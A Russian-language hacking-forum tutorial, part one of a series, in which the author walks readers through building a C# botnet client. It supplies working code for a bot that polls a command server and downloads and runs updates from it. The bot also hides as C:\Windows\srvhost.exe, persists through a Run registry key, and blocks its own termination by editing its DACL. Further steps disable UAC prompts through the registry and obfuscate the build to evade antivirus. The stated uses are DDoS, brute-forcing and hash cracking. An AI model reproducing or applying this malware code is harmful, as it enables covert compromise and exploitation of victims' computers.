Часть 1
Часть 2 находится тутДобрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.
Ну что, пожалуй сразу к делу?
Ботнет будем строить на языке C# - так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.
Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)
Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).
Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.
Миф 2: Ботнет обязательно для DDOS – атак.
Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать
Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.
Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.
Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.
Пожалуй, хватит разговоров, пора к делу:
Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Понеслась….
Создаем новый консольный проект.
Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).
А вот теперь переходим в вопросы архитектуры.
Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.
Далее код, для начала создадим заглушку на командном сервере (index.php).
PHP:
<?php
echo 'update';
Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
Код:
public class FileManager : IFileManager
{
public string GetCommandByUrl(string url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
return new StreamReader(response.GetResponseStream()).ReadToEnd();
}
}
Код:
private static string _url = @"URL/index.php"; (тут наша заглушка пока)
private const int interval = 10000; // 1000 seconds ~ 16 minutes
while (true)
{
Thread.Sleep(interval);
var command = _fileService.GetCommandByUrl(_url);
if (command.Equals("update"))
{
WebClient myWebClient = new WebClient();
myWebClient.DownloadFile(_url, "update.exe");
_fileService.RemoveFile();
_fileService.CopyFile("update.exe");
}
}
Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод
Код:
public void CopyFile(string fileName = "")
{
if (String.IsNullOrEmpty(fileName))
{
fileName = Assembly.GetExecutingAssembly().Location;
return;
}
File.Copy(fileName, @"C:\Windows\srvhost.exe");
}
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Код:
public static void Main(string[] args)
{
IFileManager _fileService = new FileManager();
_fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
Код:
public class ProcessManager
{
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);
public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] psd = new byte[0];
uint bufSizeNeeded;
// Call with 0 size to obtain the actual size needed in bufSizeNeeded
GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
throw new Win32Exception();
// Allocate the required bytes and obtain the DACL
if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
throw new Win32Exception();
// Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
return new RawSecurityDescriptor(psd, 0);
}
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);
public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
{
const int DACL_SECURITY_INFORMATION = 0x00000004;
byte[] rawsd = new byte[dacl.BinaryLength];
dacl.GetBinaryForm(rawsd, 0);
if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
throw new Win32Exception();
}
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[Flags]
public enum ProcessAccessRights
{
PROCESS_CREATE_PROCESS = 0x0080, // Required to create a process.
PROCESS_CREATE_THREAD = 0x0002, // Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400, // Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, // Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000: This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200, // Required to set certain information about a process, such as its priority class (see SetPriorityClass).
PROCESS_SET_QUOTA = 0x0100, // Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001, // Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008, // Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
PROCESS_VM_READ = 0x0010, // Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020, // Required to write to memory in a process using WriteProcessMemory.
DELETE = 0x00010000, // Required to delete the object.
READ_CONTROL = 0x00020000, // Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
SYNCHRONIZE = 0x00100000, // The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
WRITE_DAC = 0x00040000, // Required to modify the DACL in the security descriptor for the object.
WRITE_OWNER = 0x00080000, // Required to change the owner in the security descriptor for the object.
STANDARD_RIGHTS_REQUIRED = 0x000f0000,
PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),// All possible access rights for a process object.
}
public void block()
{
// Get the current process handle
IntPtr hProcess = GetCurrentProcess();
// Read the DACL
var dacl = GetProcessSecurityDescriptor(hProcess);
// Insert the new ACE
dacl.DiscretionaryAcl.InsertAce(
0,
new CommonAce(
AceFlags.None,
AceQualifier.AccessDenied,
(int)ProcessAccessRights.PROCESS_ALL_ACCESS,
new SecurityIdentifier(WellKnownSidType.WorldSid, null),
false,
null)
);
// Save the DACL
SetProcessSecurityDescriptor(hProcess, dacl);
}
}
Профит: При нажатии на кнопку снять задачу получаем.
Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
Код:
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
, readWriteSubTree);
key.SetValue("ConsentPromptBehaviorAdmin", 0);
Скан здесь
Ссылка скрыта от гостей
Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
Код:
if (command.Equals("update"))
{
WebClient myWebClient = new WebClient();
myWebClient.DownloadFile(_url, "update.exe");
_fileService.RemoveFile();
_fileService.CopyFile("update.exe");
}
Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.
Сравним обфусцированный и необфусцированный билды
Видим как билд палится без проблем
Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek
Всем спасибо. На этом всё. Посмотрим, зайдет ли кодерская статья у публики, и решим продолжать эту тему или нет. Во всяком случае в статье собраны так же инетересные техники байпасса, немного рефлексии.